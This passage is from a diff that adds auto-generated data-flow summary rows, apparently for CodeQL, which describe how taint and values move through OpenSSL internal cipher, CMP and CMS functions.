"taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_ede3_initkey", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[*2]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[*3]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[*3]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[3]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[3]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[7]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[7]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[7]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[**3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_unpadblock", "(unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_var_keylen_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[**cctx].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_get_int", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_get_int", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1", "(ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_bodytype_to_string", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_certConf_new", "(OSSL_CMP_CTX *,int,int,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certrep_new", "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_certrep_new", "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[1]", "ReturnValue[*].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_certrep_new", "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_certrepmessage_get0_certresponse", "(const OSSL_CMP_CERTREPMESSAGE *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certrepmessage_get0_certresponse", "(const OSSL_CMP_CERTREPMESSAGE *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certreq_new", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_certreq_new", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[1]", "ReturnValue[*].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_certresponse_get1_cert", "(const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certresponse_get1_cert", "(const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certstatus_set0_certHash", "(OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**certHash]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_certstatus_set0_certHash", "(OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*certHash]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_get0_newPubkey", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_get0_newPubkey", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_newCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[**newCert]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_newCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*newCert]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_statusString", "(OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *)", "", "Argument[*1]", "Argument[*0].Field[**statusString]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_statusString", "(OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *)", "", "Argument[1]", "Argument[*0].Field[*statusString]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_caPubs", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**caPubs]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_caPubs", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_extraCertsIn", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**extraCertsIn]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_extraCertsIn", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_first_senderNonce", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_newChain", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**newChain]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_newChain", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_recipNonce", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_validatedSrvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_validatedSrvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*validatedSrvCert]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set_failInfoCode", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*failInfoCode]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set_status", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*status]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_error_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_error_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_genm_new", "(OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_genp_new", "(OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**generalInfo].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**generalInfo].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**generalInfo].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**generalInfo].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push1_items", "(OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_get0_senderNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**senderNonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_get0_senderNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*senderNonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_get_pvno", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_init", "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_init", "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[*1]", "Argument[*0].Field[**freeText].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[*1]", "Argument[*0].Field[**freeText].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[1]", "Argument[*0].Field[**freeText].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[1]", "Argument[*0].Field[**freeText].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_set1_recipient", "(OSSL_CMP_PKIHEADER *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_set1_sender", "(OSSL_CMP_PKIHEADER *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_set1_senderKID", "(OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_set_pvno", "(OSSL_CMP_PKIHEADER *,int)", "", "Argument[1]", "Argument[*0].Field[**pvno].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_set_transactionID", "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_update_messageTime", "(OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[*0]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_set1_caPubsOut", "(OSSL_CMP_SRV_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_mock_srv_set1_chainOut", "(OSSL_CMP_SRV_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_add_extraCerts", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_msg_check_update", "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_msg_create", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "ReturnValue[*].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_gen_push1_ITAVs", "(OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_protect", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set0_libctx", "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_msg_set_bodytype", "(OSSL_CMP_MSG *,int)", "", "Argument[1]", "Argument[*0].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkiconf_new", "(OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pkisi_check_pkifailureinfo", "(const OSSL_CMP_PKISI *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkisi_get0_statusString", "(const OSSL_CMP_PKISI *)", "", "Argument[*0].Field[**statusString]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkisi_get0_statusString", "(const OSSL_CMP_PKISI *)", "", "Argument[*0].Field[*statusString]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_pkisi_get_status", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollRep_new", "(OSSL_CMP_CTX *,int,int64_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollReq_new", "(OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollrepcontent_get0_pollrep", "(const OSSL_CMP_POLLREPCONTENT *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_pollrepcontent_get0_pollrep", "(const OSSL_CMP_POLLREPCONTENT *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_revrepcontent_get_CertId", "(OSSL_CMP_REVREPCONTENT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_revrepcontent_get_pkisi", "(OSSL_CMP_REVREPCONTENT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_rp_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_rp_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_rp_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_rr_new", "(OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[***data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[***data].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**data].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[***data].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_sk_ASN1_UTF8STRING_push_str", "(stack_st_ASN1_UTF8STRING *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[**data].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_Data_create", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestAlgorithm_find_ctx", "(EVP_MD_CTX *,BIO *,X509_ALGOR *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestAlgorithm_find_ctx", "(EVP_MD_CTX *,BIO *,X509_ALGOR *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_create", "(const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_do_final", "(const CMS_ContentInfo *,BIO *,int)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_DigestedData_do_final", "(const CMS_ContentInfo *,BIO *,int)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[*2]", "Argument[*0].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[2]", "Argument[*0].Field[**key]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_EncryptedContent_init", "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)", "", "Argument[3]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EnvelopedData_final", "(CMS_ContentInfo *,BIO *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_EnvelopedData_final", "(CMS_ContentInfo *,BIO *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_RecipientInfo_kari_init", "(CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const 